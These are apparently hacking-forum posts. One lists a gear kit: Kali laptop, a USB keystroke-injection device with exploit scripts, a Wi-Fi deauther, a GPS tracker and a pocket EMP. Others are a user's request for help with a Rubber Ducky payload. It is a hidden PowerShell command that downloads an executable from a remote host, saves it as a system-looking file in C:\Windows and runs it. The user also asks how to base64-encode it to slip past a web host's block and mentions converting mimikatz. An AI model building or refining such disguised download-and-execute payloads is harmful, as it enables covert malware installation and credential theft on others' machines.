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  1. My EDC is pretty simple, because I just started my internship and am strapped for cash: Thinkpad T420 - Kali Linux Moto G5 Plus w/ SD Card ejector pin Malduino Elite w/ prank and exploit scripts (on necklace for cool factor) 64 GB flash drive with Kali Live (hopefully going to upgrade it to multiboot soon) Teensy 3.2 + GPS Tracker Shield w/ 2500 mAh LiPo (https://www.tindie.com/products/Fusion/tinytracker-gpsgsmcan-for-teensy-3132/) 2 GB SD Card ESP8266 Deauther Board (Micro USB Powered) 4000 mAh portable power pack I'm hoping to add: Bash Bunny Wifi Pineapple Tetra 13000 mAh Anker Lockpicks Pocket EMP with timer and supercapacitor (legal to own but definitely not to use, in case of emergency)
  2. That's what I wanted to figure out, was how to do such a base64 encoding and decoding in PowerShell.
  3. I'm trying to convert mimikatz if that helps.
  4. Hi everyone, I'm trying to make a powershell wget and execute payload for the ducky but 000webhosting, my usual go-to webhost, doesn't allow .exe files. I was wondering if there was another hosting site that is free and does allow exes, or if there is some way I can encode the payload or something similar to get around such a block. I thought you might be able to encode it using base 64 in a text file, but I don't know how I'd make the powershell convert it from plaintext to binary using base64. I was thinking something like this. Any help is appreciated. Here is my script so far: $source = "mysite.com/executables/system32.exe"; $destination = "C:\Windows\system32helper.exe"; Invoke-WebRequest $source -OutFile $destination; start-process system32.exe That gets entered into a hidden powershell window. Thank you for your time.
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